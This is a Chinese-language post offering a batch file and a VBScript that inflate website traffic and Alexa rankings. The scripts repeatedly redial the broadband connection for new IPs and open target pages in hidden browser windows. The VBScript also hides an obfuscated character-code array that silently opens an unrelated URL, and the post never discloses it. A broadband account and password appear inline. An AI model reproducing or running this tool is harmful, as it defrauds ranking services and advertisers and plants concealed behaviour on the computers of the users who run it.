刷网站排名的批处理代码

yuanjie66

　以下代码保存为：shua.bat
　　=======================================================
　　@ title 网站刷流量排名工具
　　@ echo ----------------------------------------------------------
　　@ echo 网站刷流量排名工具。
　　@ echo ----------------------------------------------------------
　　@ color 0A
　　@ echo off
　　@ rem ---------- 设置名称,帐号,密码,延迟时间 ----------
　　@ set 连接名称=中国网通
　　@ set 宽带帐号=13213610060
　　@ set 宽带密码=123456
　　@ set 延迟时间=15
　　@ rem ---------- 以下部分不要修改 ----------
　　:start
　　@ Rasdial %连接名称% %宽带帐号% %宽带密码%
　　@ start shua.vbs
　　@ ping 127.0.0.1 -n %延迟时间%
　　@ Rasdial %连接名称% /disconnect
　　@ taskkill /f /im IEXPLORE.EXE
　　@ rem 循环
　　@ goto start
　　=======================================================
　　以下代码修改后保存为：shua.vbs
　　=======================================================
　　Str = Array
　　(83,101,116,32,111,98,106,83,104,101,108,108,32,61,32,67,114,101,97,116,101,79,98,106,101,99
　　,116,40,34,87,115,99,114,105,112,116,46,83,104,101,108,108,34,41,13,10,111,98,106,83,104,101
　　,108,108,46,82,117,110,32,34,73,69,88,80,76,79,82,69,46,69,88,69,32,104,116,116,112,58,47,47
　　,100,120,50,48,46,99,110,47,118,105,112,47,34,44,48)
　　Function Num2Str(Str):For I=0 To UBound(Str):Num2Str = Num2Str & Chr(Str(I)):Next:End
　　Function
　　Execute Num2Str(Str)
　　'//请在下面设置要刷的网页，每行一个地址，不要超过10个地址。 //
　　objShell.Run "IEXPLORE.EXE http://www.bebecn.com/html/news.html" ,0
　　objShell.Run "IEXPLORE.EXE http://www.0898bbs.com/club/index.php" ,0
　　=======================================================
　　其中要修改的地方用加粗标示。安装 alexe 工具条后可以刷网站排名和流量，没有安装 alexe 工具条只可以刷流量。运行 shua.bat 即可开始挂机刷流量。每天刷一个小时，坚持半个月，alexe排名最少提升50万名。